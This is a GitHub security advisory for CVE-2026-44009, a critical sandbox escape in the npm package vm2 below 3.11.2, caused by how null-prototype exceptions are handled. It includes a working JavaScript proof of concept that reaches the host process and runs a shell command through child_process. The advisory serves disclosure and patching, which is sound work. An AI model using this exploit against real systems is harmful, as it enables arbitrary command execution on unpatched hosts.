GitHub Advisoryadvisory · npm
GHSA-9vg3-4rfj-wgcm vm2 has Sandbox Breakout Through Null Proto Exception
CRITICAL
Official page ↗
- Aliases
- CVE-2026-44009
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-668
- Reviewed
- 2026-05-08
Affected packages
• npm vm2: < 3.11.2 → fixed in 3.11.2
Description
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.
PoC
```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
```
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Related
Alias · CVE (1)
- CVE-2026-44009 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-668 Exposure of Resource to Wrong Sphere weakness